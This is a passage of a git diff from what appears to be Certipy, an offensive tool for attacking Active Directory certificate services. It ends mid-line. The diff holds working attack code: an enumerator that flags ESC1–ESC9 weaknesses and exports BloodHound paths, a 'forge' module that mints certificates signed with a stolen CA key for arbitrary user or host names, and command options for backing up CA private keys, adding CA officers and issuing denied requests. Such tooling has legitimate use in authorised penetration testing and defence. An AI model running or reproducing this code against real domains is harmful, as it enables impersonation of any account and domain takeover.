self.get_template_vulnerabilities(template) + if self.vuln and len(vulnerabilities) == 0: + continue + + entry = OrderedDict() + entry = self.get_template_properties(template, entry) + + permissions = self.get_template_permissions(template) + if len(permissions) > 0: + entry["Permissions"] = permissions + + if len(vulnerabilities) > 0: + entry["[!] Vulnerabilities"] = vulnerabilities + + template_entries[len(template_entries)] = entry + + for ca in cas: + entry = OrderedDict() + entry = self.get_ca_properties(ca, entry) + + permissions = self.get_ca_permissions(ca) + if len(permissions) > 0: + entry["Permissions"] = permissions + + vulnerabilities = self.get_ca_vulnerabilities(ca) + if len(vulnerabilities) > 0: + entry["[!] Vulnerabilities"] = vulnerabilities + + ca_entries[len(ca_entries)] = entry + + output = {} + + if len(ca_entries) == 0: + output["Certificate Authorities"] = "[!] Could not find any CAs" + else: + output["Certificate Authorities"] = ca_entries + + if len(template_entries) == 0: + output[ + "Certificate Templates" + ] = "[!] Could not find any certificate templates" + else: + output["Certificate Templates"] = template_entries + + return output + + def output_bloodhound_data( + self, prefix: str, templates: List[LDAPEntry], cas: List[LDAPEntry] + ): + template_entries = [] + ca_entries = [] + + for template in templates: + template_properties = OrderedDict() + template_properties["name"] = "%s@%s" % ( + template.get("cn").upper(), + self.connection.domain.upper(), + ) + template_properties["highvalue"] = template.get("enabled") and any( + [ + all( + [ + template.get("enrollee_supplies_subject"), + not template.get("requires_manager_approval"), + template.get("client_authentication"), + ] + ), + all( + [ + template.get("enrollment_agent"), + not template.get("requires_manager_approval"), + ] + ), + ] + ) + + template_properties = self.get_template_properties( + template, template_properties + ) + + template_properties["domain"] = self.connection.domain.upper() + + if self.old_bloodhound: + template_properties["type"] = "Certificate Template" + + security = CertifcateSecurity(template.get("nTSecurityDescriptor")) + aces = self.security_to_bloodhound_aces(security) + + entry = { + "Properties": template_properties, + "ObjectIdentifier": template.get("object_id"), + "Aces": aces, + } + + if not self.old_bloodhound: + entry["cas_ids"] = template.get("cas_ids") + + template_entries.append(entry) + + for ca in cas: + ca_properties = OrderedDict() + ca_properties["name"] = "%s@%s" % ( + ca.get("name").upper(), + self.connection.domain.upper(), + ) + ca_properties[ + "highvalue" + ] = False # It is a high value, but the 'Enroll' will give many false positives + + ca_properties = self.get_ca_properties(ca, ca_properties) + + ca_properties["domain"] = self.connection.domain.upper() + + if self.old_bloodhound: + ca_properties["type"] = "Enrollment Service" + + security = ca.get("security") + aces = self.security_to_bloodhound_aces(security) + + entry = { + "Properties": ca_properties, + "ObjectIdentifier": ca.get("object_id"), + "Aces": aces, + } + + ca_entries.append(entry) + + zipf = zipfile.ZipFile("%s_Certipy.zip" % prefix, "w") + + if self.old_bloodhound: + gpos_filename = "%s_gpos.json" % prefix + entries = ca_entries + template_entries + with open(gpos_filename, "w") as f: + json.dump( + { + "data": entries, + "meta": { + "count": len(entries), + "type": "gpos", + "version": 4, + }, + }, + f, + ) + zipf.write(gpos_filename, gpos_filename) + os.unlink(gpos_filename) + else: + cas_filename = "%s_cas.json" % prefix + with open(cas_filename, "w") as f: + json.dump( + { + "data": ca_entries, + "meta": { + "count": len(ca_entries), + "type": "cas", + "version": 4, + }, + }, + f, + ) + zipf.write(cas_filename, cas_filename) + os.unlink(cas_filename) + + templates_filename = "%s_templates.json" % prefix + with open(templates_filename, "w") as f: + json.dump( + { + "data": template_entries, + "meta": { + "count": len(template_entries), + "type": "templates", + "version": 4, + }, + }, + f, + ) + zipf.write(templates_filename, templates_filename) + os.unlink(templates_filename) + + zipf.close() + logging.info( + ( + "Saved BloodHound data to %s. Drag and drop the file into the " + "BloodHound GUI from %s" + ) + % ( + repr( + "%s_Certipy.zip" % prefix, + ), + "@BloodHoundAD" if self.old_bloodhound else "@ly4k", + ) + ) + + def check_web_enrollment(self, ca: LDAPEntry) -> bool: + target_name = ca.get("dNSHostName") + + target_ip = self.target.resolver.resolve(target_name) + + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(self.target.timeout) + + logging.debug("Connecting to %s:80" % target_ip) + sock.connect((target_ip, 80)) + sock.sendall( + "\r\n".join( + ["HEAD /certsrv/ HTTP/1.1", "Host: %s" % target_name, "\r\n"] + ).encode() + ) + resp = sock.recv(256) + sock.close() + head = resp.split(b"\r\n")[0].decode() + + return " 404 " not in head + except ConnectionRefusedError: + return False + except socket.timeout: + return False + except Exception as e: + logging.warning( + "Got error while trying to check for web enrollment: %s" % e + ) + + return False + + def get_certificate_templates(self) -> List[LDAPEntry]: + templates = self.connection.search( + "(objectclass=pkicertificatetemplate)", + search_base="CN=Certificate Templates,CN=Public Key Services,CN=Services,%s" + % self.connection.configuration_path, + attributes=[ + "cn", + "name", + "displayName", + "pKIExpirationPeriod", + "pKIOverlapPeriod", + "msPKI-Enrollment-Flag", + "msPKI-Private-Key-Flag", + "msPKI-Certificate-Name-Flag", + "msPKI-RA-Signature", + "pKIExtendedKeyUsage", + "nTSecurityDescriptor", + "objectGUID", + ], + query_sd=True, + ) + + return templates + + def get_certificate_authorities(self) -> List[LDAPEntry]: + cas = self.connection.search( + "(&(objectClass=pKIEnrollmentService))", + search_base="CN=Enrollment Services,CN=Public Key Services,CN=Services,%s" + % self.connection.configuration_path, + attributes=[ + "cn", + "name", + "dNSHostName", + "cACertificateDN", + "cACertificate", + "certificateTemplates", + "objectGUID", + ], + ) + + return cas + + def security_to_bloodhound_aces(self, security: ActiveDirectorySecurity) -> List: + aces = [] + + owner = self.connection.lookup_sid(security.owner) + + aces.append( + { + "PrincipalSID": owner.get("objectSid"), + "PrincipalType": owner.get("objectType"), + "RightName": "Owns", + "IsInherited": False, + } + ) + + for sid, rights in security.aces.items(): + is_inherited = rights["inherited"] + principal = self.connection.lookup_sid(sid) + + standard_rights = rights["rights"].to_list() + + for right in standard_rights: + aces.append( + { + "PrincipalSID": principal.get("objectSid"), + "PrincipalType": principal.get("objectType"), + "RightName": str(right), + "IsInherited": is_inherited, + } + ) + + extended_rights = rights["extended_rights"] + + for extended_right in extended_rights: + aces.append( + { + "PrincipalSID": principal.get("objectSid"), + "PrincipalType": principal.get("objectType"), + "RightName": EXTENDED_RIGHTS_MAP[extended_right].replace( + "-", "" + ) + if extended_right in EXTENDED_RIGHTS_MAP + else extended_right, + "IsInherited": is_inherited, + } + ) + + return aces + + def get_template_properties( + self, template: LDAPEntry, template_properties: dict = None + ) -> dict: + properties_map = { + "cn": "Template Name", + "displayName": "Display Name", + "enabled": "Enabled", + "client_authentication": "Client Authentication", + "enrollment_agent": "Enrollment Agent", + "any_purpose": "Any Purpose", + "enrollee_supplies_subject": "Enrollee Supplies Subject", + "certificate_name_flag": "Certificate Name Flag", + "enrollment_flag": "Enrollment Flag", + "private_key_flag": "Private Key Flag", + "extended_key_usage": "Extended Key Usage", + "requires_manager_approval": "Requires Manager Approval", + "requires_key_archival": "Requires Key Archival", + "application_policies": "Application Policies", + "authorized_signatures_required": "Authorized Signatures Required", + "validity_period": "Validity Period", + "renewal_period": "Renewal Period", + } + + if template_properties is None: + template_properties = OrderedDict() + + for property_key, property_display in properties_map.items(): + property_value = template.get(property_key) + if property_value is None: + continue + template_properties[property_display] = property_value + + return template_properties + + def get_template_permissions(self, template: LDAPEntry): + security = CertifcateSecurity(template.get("nTSecurityDescriptor")) + permissions = {} + enrollment_permissions = {} + enrollment_rights = [] + all_extended_rights = [] + + for sid, rights in security.aces.items(): + if self.hide_admins and is_admin_sid(sid): + continue + + if ( + EXTENDED_RIGHTS_NAME_MAP["Enroll"] in rights["extended_rights"] + or EXTENDED_RIGHTS_NAME_MAP["AutoEnroll"] in rights["extended_rights"] + ): + enrollment_rights.append(self.connection.lookup_sid(sid).get("name")) + if ( + EXTENDED_RIGHTS_NAME_MAP["All-Extended-Rights"] + in rights["extended_rights"] + ): + all_extended_rights.append(self.connection.lookup_sid(sid).get("name")) + + if len(enrollment_rights) > 0: + enrollment_permissions["Enrollment Rights"] = enrollment_rights + + if len(all_extended_rights) > 0: + enrollment_permissions["All Extended Rights"] = all_extended_rights + + if len(enrollment_permissions) > 0: + permissions["Enrollment Permissions"] = enrollment_permissions + + object_control_permissions = {} + if not self.hide_admins or not is_admin_sid(security.owner): + object_control_permissions["Owner"] = self.connection.lookup_sid( + security.owner + ).get("name") + + rights_mapping = [ + (CERTIFICATE_RIGHTS.GENERIC_ALL, [], "Full Control Principals"), + (CERTIFICATE_RIGHTS.WRITE_OWNER, [], "Write Owner Principals"), + (CERTIFICATE_RIGHTS.WRITE_DACL, [], "Write Dacl Principals"), + ( + CERTIFICATE_RIGHTS.WRITE_PROPERTY, + [], + "Write Property Principals", + ), + ] + for sid, rights in security.aces.items(): + if self.hide_admins and is_admin_sid(sid): + continue + + rights = rights["rights"] + sid = self.connection.lookup_sid(sid).get("name") + + for (right, principal_list, _) in rights_mapping: + if right in rights: + principal_list.append(sid) + + for _, rights, name in rights_mapping: + if len(rights) > 0: + object_control_permissions[name] = rights + + if len(object_control_permissions) > 0: + permissions["Object Control Permissions"] = object_control_permissions + + return permissions + + def get_template_vulnerabilities(self, template: LDAPEntry): + def list_sids(sids: List[str]): + sids_mapping = list( + map( + lambda sid: repr(self.connection.lookup_sid(sid).get("name")), + sids, + ) + ) + if len(sids_mapping) == 1: + return sids_mapping[0] + + return ", ".join(sids_mapping[:-1]) + " and " + sids_mapping[-1] + + if template.get("vulnerabilities"): + return template.get("vulnerabilities") + + vulnerabilities = {} + + user_can_enroll, enrollable_sids = self.can_user_enroll_in_template(template) + + if ( + not template.get("requires_manager_approval") + and not template.get("authorized_signatures_required") > 0 + ): + # ESC1 + if ( + user_can_enroll + and template.get("enrollee_supplies_subject") + and template.get("client_authentication") + ): + vulnerabilities["ESC1"] = ( + "%s can enroll, enrollee supplies subject and template allows client authentication" + % list_sids(enrollable_sids) + ) + + # ESC2 + if user_can_enroll and template.get("any_purpose"): + vulnerabilities["ESC2"] = ( + "%s can enroll and template can be used for any purpose" + % list_sids(enrollable_sids) + ) + + # ESC3 + if user_can_enroll and template.get("enrollment_agent"): + vulnerabilities["ESC3"] = ( + "%s can enroll and template has Certificate Request Agent EKU set" + % list_sids(enrollable_sids) + ) + + # ESC9 + if user_can_enroll and template.get("no_security_extension"): + vulnerabilities[ + "ESC9" + ] = "%s can enroll and template has no security extension" % list_sids( + enrollable_sids + ) + + # ESC4 + security = CertifcateSecurity(template.get("nTSecurityDescriptor")) + owner_sid = security.owner + + if owner_sid in self.connection.get_user_sids(self.target.username): + vulnerabilities[ + "ESC4" + ] = "Template is owned by %s" % self.connection.lookup_sid(owner_sid).get( + "name" + ) + else: + # No reason to show if user is already owner + has_vulnerable_acl, vulnerable_acl_sids = self.template_has_vulnerable_acl( + template + ) + if has_vulnerable_acl: + vulnerabilities["ESC4"] = "%s has dangerous permissions" % list_sids( + vulnerable_acl_sids + ) + + return vulnerabilities + + def template_has_vulnerable_acl(self, template: LDAPEntry): + has_vulnerable_acl = False + + security = CertifcateSecurity(template.get("nTSecurityDescriptor")) + aces = security.aces + vulnerable_acl_sids = [] + for sid, rights in aces.items(): + if sid not in self.connection.get_user_sids(self.target.username): + continue + + ad_rights = rights["rights"] + if any( + right in ad_rights + for right in [ + CERTIFICATE_RIGHTS.GENERIC_ALL, + CERTIFICATE_RIGHTS.WRITE_OWNER, + CERTIFICATE_RIGHTS.WRITE_DACL, + CERTIFICATE_RIGHTS.WRITE_PROPERTY, + ] + ): + vulnerable_acl_sids.append(sid) + has_vulnerable_acl = True + + return has_vulnerable_acl, vulnerable_acl_sids + + def can_user_enroll_in_template(self, template: LDAPEntry): + user_can_enroll = False + + security = CertifcateSecurity(template.get("nTSecurityDescriptor")) + aces = security.aces + enrollable_sids = [] + for sid, rights in aces.items(): + if sid not in self.connection.get_user_sids(self.target.username): + continue + + if ( + EXTENDED_RIGHTS_NAME_MAP["All-Extended-Rights"] + in rights["extended_rights"] + or EXTENDED_RIGHTS_NAME_MAP["Enroll"] in rights["extended_rights"] + or EXTENDED_RIGHTS_NAME_MAP["AutoEnroll"] in rights["extended_rights"] + or CERTIFICATE_RIGHTS.GENERIC_ALL in rights["rights"] + ): + enrollable_sids.append(sid) + user_can_enroll = True + + return user_can_enroll, enrollable_sids + + def get_ca_properties(self, ca: LDAPEntry, ca_properties: dict = None) -> dict: + properties_map = { + "name": "CA Name", + "dNSHostName": "DNS Name", + "cACertificateDN": "Certificate Subject", + "serial_number": "Certificate Serial Number", + "validity_start": "Certificate Validity Start", + "validity_end": "Certificate Validity End", + "web_enrollment": "Web Enrollment", + "user_specified_san": "User Specified SAN", + "request_disposition": "Request Disposition", + } + + if ca_properties is None: + ca_properties = OrderedDict() + + for property_key, property_display in properties_map.items(): + property_value = ca.get(property_key) + if property_value is None: + continue + ca_properties[property_display] = property_value + + return ca_properties + + def get_ca_permissions(self, ca: LDAPEntry): + security = ca.get("security") + + ca_permissions = {} + access_rights = {} + if security is not None: + if not self.hide_admins or not is_admin_sid(security.owner): + ca_permissions["Owner"] = self.connection.lookup_sid( + security.owner + ).get("name") + + for sid, rights in security.aces.items(): + if self.hide_admins and is_admin_sid(sid): + continue + ca_rights = rights["rights"].to_list() + for ca_right in ca_rights: + if ca_right not in access_rights: + access_rights[ca_right] = [ + self.connection.lookup_sid(sid).get("name") + ] + else: + access_rights[ca_right].append( + self.connection.lookup_sid(sid).get("name") + ) + + ca_permissions["Access Rights"] = access_rights + + return ca_permissions + + def get_ca_vulnerabilities(self, ca: LDAPEntry): + def list_sids(sids: List[str]): + sids_mapping = list( + map( + lambda sid: repr(self.connection.lookup_sid(sid).get("name")), + sids, + ) + ) + if len(sids_mapping) == 1: + return sids_mapping[0] + + return ", ".join(sids_mapping[:-1]) + " and " + sids_mapping[-1] + + if ca.get("vulnerabilities"): + return ca.get("vulnerabilities") + + vulnerabilities = {} + + # ESC6 + if ( + ca.get("user_specified_san") == "Enabled" + and ca.get("request_disposition") == "Issue" + ): + vulnerabilities[ + "ESC6" + ] = "Enrollees can specify SAN and Request Disposition is set to Issue. Does not work after May 2022" + + # ESC7 + has_vulnerable_acl, vulnerable_acl_sids = self.ca_has_vulnerable_acl(ca) + if has_vulnerable_acl: + vulnerabilities["ESC7"] = "%s has dangerous permissions" % list_sids( + vulnerable_acl_sids + ) + + # ESC8 + if ca.get("web_enrollment") == "Enabled" and ca.get("request_disposition") in [ + "Issue", + "Unknown", + ]: + vulnerabilities["ESC8"] = ( + "Web Enrollment is enabled and Request Disposition is set to %s" + % ca.get("request_disposition") + ) + + return vulnerabilities + + def ca_has_vulnerable_acl(self, ca: LDAPEntry): + has_vulnerable_acl = False + vulnerable_acl_sids = [] + + security = ca.get("security") + if security is None: + return has_vulnerable_acl, vulnerable_acl_sids + + aces = security.aces + for sid, rights in aces.items(): + if sid not in self.connection.get_user_sids(self.target.username): + continue + + ad_rights = rights["rights"] + if any( + right in ad_rights + for right in [ + CERTIFICATION_AUTHORITY_RIGHTS.MANAGE_CA, + CERTIFICATION_AUTHORITY_RIGHTS.MANAGE_CERTIFICATES, + ] + ): + vulnerable_acl_sids.append(sid) + has_vulnerable_acl = True + + return has_vulnerable_acl, vulnerable_acl_sids + + +def entry(options: argparse.Namespace) -> None: + target = Target.from_options(options, dc_as_target=True) + del options.target + + find = Find(target=target, **vars(options)) + find.find() diff --git a/certipy/forge.py b/certipy/commands/forge.py old mode 100644 new mode 100755 similarity index 60% rename from certipy/forge.py rename to certipy/commands/forge.py index 03f9e63..79db477 --- a/certipy/forge.py +++ b/certipy/commands/forge.py @@ -1,89 +1,49 @@ import argparse import datetime -import logging from typing import Callable, Tuple -from certipy.auth import cert_id_to_parts -from certipy.certificate import ( +from certipy.lib.certificate import ( PRINCIPAL_NAME, NameOID, UTF8String, + cert_id_to_parts, create_pfx, encoder, generate_rsa_key, + get_subject_from_str, load_pfx, x509, ) - -NAME = "forge" - -DN_MAP = { - "CN": NameOID.COMMON_NAME, - "DC": NameOID.DOMAIN_COMPONENT, - "OU": NameOID.ORGANIZATIONAL_UNIT_NAME, -} - - -def dn_to_components(dn): - components = [] - component = "" - escape_sequence = False - for c in dn: - if c == "\\": - escape_sequence = True - elif escape_sequence and c != " ": - escape_sequence = False - elif c == ",": - if "=" in component: - attr_name, _, value = component.partition("=") - component = (attr_name.strip().upper(), value.strip()) - components.append(component) - component = "" - continue - - component += c - - attr_name, _, value = component.partition("=") - component = (attr_name.strip(), value.strip()) - components.append(component) - return components +from certipy.lib.logger import logging class Forge: def __init__( self, ca_pfx: str = None, - alt: str = None, + upn: str = None, + dns: str = None, template: str = None, subject: str = None, + issuer: str = None, crl: str = None, serial: str = None, + key_size: int = 2048, out: str = None, **kwargs ): self.ca_pfx = ca_pfx - self.alt_name = alt + self.alt_upn = upn + self.alt_dns = dns self.template = template self.subject = subject - self.serial = serial + self.issuer = issuer self.crl = crl + self.serial = serial + self.key_size = key_size self.out = out self.kwargs = kwargs - def get_subject_from_str(self, subject: str = None) -> x509.Name: - if subject is None: - subject = self.subject - - components = [] - for component in dn_to_components(subject): - if component[0] not in DN_MAP: - logging.warning("%s component is not implemented" % repr(component[0])) - continue - - components.append(x509.NameAttribute(DN_MAP[component[0]], component[1])) - - return x509.Name(components) - def get_serial_number(self) -> int: serial_number = self.serial if serial_number is None: @@ -113,6 +73,11 @@ def forge(self): ca_pfx = f.read() ca_key, ca_cert = load_pfx(ca_pfx) + if self.alt_upn: + id_type, id_value = "UPN", self.alt_upn + else: + id_type, id_value = "DNS Host Name", self.alt_dns + if self.template is not None: with open(self.template, "rb") as f: tmp_pfx = f.read() @@ -122,7 +87,7 @@ def forge(self): if subject is None: subject = tmp_cert.subject else: - subject = self.get_subject_from_str() + subject = get_subject_from_str(self.subject) serial_number = self.serial if serial_number is None: @@ -132,7 +97,10 @@ def forge(self): cert = x509.CertificateBuilder() cert = cert.subject_name(subject) - cert = cert.issuer_name(ca_cert.subject) + if self.issuer: + cert = cert.issuer_name(get_subject_from_str(self.issuer)) + else: + cert = cert.issuer_name(ca_cert.subject) cert = cert.public_key(tmp_cert.public_key()) cert = cert.serial_number(serial_number) cert = cert.not_valid_before(tmp_cert.not_valid_before) @@ -162,15 +130,15 @@ def forge(self): signature_hash_algorithm = tmp_cert.signature_hash_algorithm.__class__ else: - key = generate_rsa_key() + key = generate_rsa_key(self.key_size) subject = self.subject if subject is None: - subject = self.get_subject_from_str( - "CN=%s" % cert_id_to_parts("UPN", self.alt_name)[0] + subject = get_subject_from_str( + "CN=%s" % cert_id_to_parts([(id_type, id_value)])[0] ) else: - subject = self.get_subject_from_str() + subject = get_subject_from_str(self.subject) serial_number = self.serial if serial_number is None: @@ -180,7 +148,10 @@ def forge(self): cert = x509.CertificateBuilder() cert = cert.subject_name(subject) - cert = cert.issuer_name(ca_cert.subject) + if self.issuer: + cert = cert.issuer_name(get_subject_from_str(self.issuer)) + else: + cert = cert.issuer_name(ca_cert.subject) cert = cert.public_key(key.public_key()) cert = cert.serial_number(serial_number) cert = cert.not_valid_before( @@ -206,13 +177,26 @@ def forge(self): signature_hash_algorithm = ca_cert.signature_hash_algorithm.__class__ - alt_name = encoder.encode(UTF8String(self.alt_name.encode())) + sans = [] + sans = [] + + alt_dns = self.alt_dns + if alt_dns: + if type(alt_dns) == bytes: + alt_dns = alt_dns.decode() + + sans.append(x509.DNSName(alt_dns)) + + alt_upn = self.alt_upn + if alt_upn: + if type(alt_upn) == str: + alt_upn = alt_upn.encode() + alt_upn = encoder.encode(UTF8String(alt_upn)) + + sans.append(x509.OtherName(PRINCIPAL_NAME, alt_upn)) + cert = cert.add_extension( - x509.SubjectAlternativeName( - [ - x509.OtherName(PRINCIPAL_NAME, alt_name), - ] - ), + x509.SubjectAlternativeName(sans), False, ) @@ -222,7 +206,7 @@ def forge(self): out = self.out if not out: - out, _ = cert_id_to_parts("UPN", self.alt_name) + out, _ = cert_id_to_parts([(id_type, id_value)]) out = "%s_forged.pfx" % out.rstrip("$").lower() with open(out, "wb") as f: @@ -232,48 +216,12 @@ def forge(self): def entry(options: argparse.Namespace) -> None: + if not options.upn and not options.dns: + logging.error("Either -upn or -dns must be specified (or both)") + return + forge = Forge( **vars(options), ) forge.forge() - - -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Create Golden Certificates") - - subparser.add_argument( - "-ca-pfx", - action="store", - metavar="pfx/p12 file name", - help="Path to CA certificate", - required=True, - ) - subparser.add_argument( - "-alt", action="store", metavar="alternative UPN", required=True - ) - subparser.add_argument( - "-template", - action="store", - metavar="pfx/p12 file name", - help="Path to template certificate", - ) - subparser.add_argument( - "-subject", - action="store", - metavar="subject", - help="Subject to include certificate", - ) - subparser.add_argument( - "-crl", - action="store", - metavar="ldap path", - help="ldap path to a CRL", - ) - subparser.add_argument("-serial", action="store", metavar="serial number") - subparser.add_argument("-debug", action="store_true", help="Turn debug output on") - - group = subparser.add_argument_group("output options") - group.add_argument("-out", action="store", metavar="output file name") - - return NAME, entry diff --git a/certipy/commands/parsers/__init__.py b/certipy/commands/parsers/__init__.py new file mode 100755 index 0000000..5bf8837 --- /dev/null +++ b/certipy/commands/parsers/__init__.py @@ -0,0 +1,15 @@ +from . import account, auth, ca, cert, find, forge, ptt, relay, req, shadow, template + +ENTRY_PARSERS = [ + account, + auth, + ca, + cert, + find, + forge, + ptt, + relay, + req, + shadow, + template, +] diff --git a/certipy/commands/parsers/account.py b/certipy/commands/parsers/account.py new file mode 100755 index 0000000..ff59bf7 --- /dev/null +++ b/certipy/commands/parsers/account.py @@ -0,0 +1,79 @@ +NAME = "account" + +import argparse +from typing import Callable, Tuple + +from . import target + + +def entry(options: argparse.Namespace): + from certipy.commands import account + + account.entry(options) + + +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser(NAME, help="Manage user and machine accounts") + + subparser.add_argument("-debug", action="store_true", help="Turn debug output on") + + subparser.add_argument( + "account_action", + choices=["create", "read", "update", "delete"], + help="Action", + ) + + group = subparser.add_argument_group("target") + group.add_argument( + "-user", + action="store", + metavar="SAM Account Name", + help="Logon name for the account to target", + required=True, + ) + group.add_argument( + "-group", + action="store", + metavar="CN=Computers,DC=test,DC=local", + help="Group to which the account will be added." + "If omitted, CN=Computers, will be used,", + ) + group = subparser.add_argument_group("attribute options") + group.add_argument( + "-dns", + action="store", + metavar="Set the DNS host name for the account", + ) + group.add_argument( + "-upn", + action="store", + metavar="Set the UPN for the account", + ) + group.add_argument( + "-sam", + action="store", + metavar="Set the SAM Account Name for the account", + ) + group.add_argument( + "-spns", + action="store", + metavar="Set the SPNS for the account (comma-separated)", + ) + group.add_argument( + "-pass", + action="store", + dest="passw", + metavar="Set the password for the account", + ) + group = subparser.add_argument_group("connection options") + group.add_argument( + "-scheme", + action="store", + metavar="ldap scheme", + choices=["ldap", "ldaps"], + default="ldaps", + ) + + target.add_argument_group(subparser, connection_options=group) + + return NAME, entry diff --git a/certipy/commands/parsers/auth.py b/certipy/commands/parsers/auth.py new file mode 100755 index 0000000..f906b5b --- /dev/null +++ b/certipy/commands/parsers/auth.py @@ -0,0 +1,108 @@ +NAME = "auth" + +import argparse +from typing import Callable, Tuple + +from . import target + + +def entry(options: argparse.Namespace): + from certipy.commands import auth + + auth.entry(options) + + +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser(NAME, help="Authenticate using certificates") + + subparser.add_argument( + "-pfx", + action="store", + metavar="pfx/p12 file name", + help="Path to certificate", + required=True, + ) + + subparser.add_argument( + "-no-save", action="store_true", help="Don't save TGT to file" + ) + subparser.add_argument( + "-no-hash", action="store_true", help="Don't request NT hash" + ) + subparser.add_argument( + "-ptt", + action="store_true", + help="Submit TGT for current logon session (Windows only)", + ) + subparser.add_argument( + "-print", + action="store_true", + help="Print TGT in Kirbi format", + ) + subparser.add_argument( + "-kirbi", + action="store_true", + help="Save TGT in Kirbi format", + ) + subparser.add_argument("-debug", action="store_true", help="Turn debug output on") + + group = subparser.add_argument_group("connection options") + + group.add_argument( + "-dc-ip", + action="store", + metavar="ip address", + help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in " + "the target parameter", + ) + group.add_argument( + "-ns", + action="store", + metavar="nameserver", + help="Nameserver for DNS resolution", + ) + group.add_argument( + "-dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries" + ) + group.add_argument( + "-timeout", + action="store", + metavar="seconds", + help="Timeout for connections", + default=5, + type=int, + ) + + group = subparser.add_argument_group("authentication options") + group.add_argument( + "-username", + action="store", + metavar="username", + ) + group.add_argument( + "-domain", + action="store", + metavar="domain", + ) + group.add_argument( + "-ldap-shell", + action="store_true", + help="Authenticate with the certificate via Schannel against LDAP", + ) + group = subparser.add_argument_group("ldap options") + group.add_argument( + "-ldap-port", + action="store", + help="LDAP port. Default: 389", + metavar="port", + default=389, + type=int, + ) + group.add_argument( + "-ldap-user-dn", + action="store", + metavar="dn", + help="Distinguished Name of target account for LDAPS authentication", + ) + + return NAME, entry diff --git a/certipy/commands/parsers/ca.py b/certipy/commands/parsers/ca.py new file mode 100755 index 0000000..65e96f6 --- /dev/null +++ b/certipy/commands/parsers/ca.py @@ -0,0 +1,118 @@ +NAME = "ca" + +import argparse +from typing import Callable, Tuple + +from . import target + + +def entry(options: argparse.Namespace): + from certipy.commands import ca + + ca.entry(options) + + +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser(NAME, help="Manage CA and certificates") + + subparser.add_argument("-ca", action="store", metavar="certificate authority name") + subparser.add_argument("-debug", action="store_true", help="Turn debug output on") + + group = subparser.add_argument_group("certificate template options") + group.add_argument( + "-enable-template", + action="store", + metavar="template name", + help="Enable a certificate template on the CA", + ) + group.add_argument( + "-disable-template", + action="store", + metavar="template name", + help="Disable a certificate template on the CA", + ) + group.add_argument( + "-list-templates", + action="store_true", + help="List enabled certificate templates on the CA", + ) + + group = subparser.add_argument_group("certificate request options") + group.add_argument( + "-issue-request", + action="store", + metavar="request ID", + help="Issue a pending or failed certificate request", + ) + group.add_argument( + "-deny-request", + action="store", + metavar="request ID", + help="Deny a pending certificate request", + ) + + group = subparser.add_argument_group("officer options") + group.add_argument( + "-add-officer", + action="store", + metavar="officer", + help="Add a new officer (Certificate Manager) to the CA", + ) + group.add_argument( + "-remove-officer", + action="store", + metavar="officer", + help="Remove an existing officer (Certificate Manager) from the CA", + ) + + group = subparser.add_argument_group("manager options") + group.add_argument( + "-add-manager", + action="store", + metavar="manager", + help="Add a new manager (CA Manager) to the CA", + ) + group.add_argument( + "-remove-manager", + action="store", + metavar="manager", + help="Remove an existing manager (CA Manager) from the CA", + ) + + group = subparser.add_argument_group("backup options") + group.add_argument( + "-backup", + action="store_true", + help="Backup CA certificate and private key", + ) + group.add_argument( + "-config", + action="store", + metavar="Machine\\CA", + ) + + group = subparser.add_argument_group("connection options") + group.add_argument( + "-scheme", + action="store", + metavar="ldap scheme", + choices=["ldap", "ldaps"], + default="ldaps", + ) + group.add_argument( + "-dynamic-endpoint", + action="store_true", + help="Prefer dynamic TCP endpoint over named pipe", + ) + group.add_argument( + "-dc-host", + action="store", + metavar="hostname", + help="Hostname of the domain controller to use. " + "If ommited, the domain part (FQDN) " + "specified in the account parameter will be used", + ) + + target.add_argument_group(subparser, connection_options=group) + + return NAME, entry diff --git a/certipy/commands/parsers/cert.py b/certipy/commands/parsers/cert.py new file mode 100755 index 0000000..c339940 --- /dev/null +++ b/certipy/commands/parsers/cert.py @@ -0,0 +1,50 @@ +NAME = "cert" + +import argparse +from typing import Callable, Tuple + + +def entry(options: argparse.Namespace): + from certipy.commands import cert + + cert.entry(options) + + +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser(NAME, help="Manage certificates and private keys") + + subparser.add_argument( + "-pfx", action="store", metavar="infile", help="Load PFX from file" + ) + + subparser.add_argument( + "-password", action="store", metavar="password", help="Set import password" + ) + + subparser.add_argument( + "-key", action="store", metavar="infile", help="Load private key from file" + ) + + subparser.add_argument( + "-cert", action="store", metavar="infile", help="Load certificate from file" + ) + + subparser.add_argument("-export", action="store_true", help="Output PFX file") + + subparser.add_argument( + "-out", action="store", metavar="outfile", help="Output filename" + ) + + subparser.add_argument( + "-nocert", + action="store_true", + help="Don't output certificate", + ) + + subparser.add_argument( + "-nokey", action="store_true", help="Don't output private key" + ) + + subparser.add_argument("-debug", action="store_true", help="Turn debug output on") + + return NAME, entry diff --git a/certipy/commands/parsers/find.py b/certipy/commands/parsers/find.py new file mode 100755 index 0000000..7e71bf6 --- /dev/null +++ b/certipy/commands/parsers/find.py @@ -0,0 +1,85 @@ +NAME = "find" + +import argparse +from typing import Callable, Tuple + +from . import target + + +def entry(options: argparse.Namespace): + from certipy.commands import find + + find.entry(options) + + +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser(NAME, help="Enumerate AD CS") + subparser.add_argument("-debug", action="store_true", help="Turn debug output on") + + group = subparser.add_argument_group("output options") + group.add_argument( + "-bloodhound", + action="store_true", + help="Output result as BloodHound data for the custom-built BloodHound version from @ly4k with PKI support", + ) + group.add_argument( + "-old-bloodhound", + action="store_true", + help="Output result as BloodHound data for the original BloodHound version from @BloodHoundAD without PKI support", + ) + group.add_argument( + "-text", + action="store_true", + help="Output result as text", + ) + group.add_argument( + "-stdout", + action="store_true", + help="Output result as text to stdout", + ) + group.add_argument( + "-json", + action="store_true", + help="Output result as JSON", + ) + group.add_argument( + "-output", + action="store", + metavar="prefix", + help="Filename prefix for writing results to", + ) + + group = subparser.add_argument_group("find options") + group.add_argument( + "-enabled", + action="store_true", + help="Show only enabled certificate 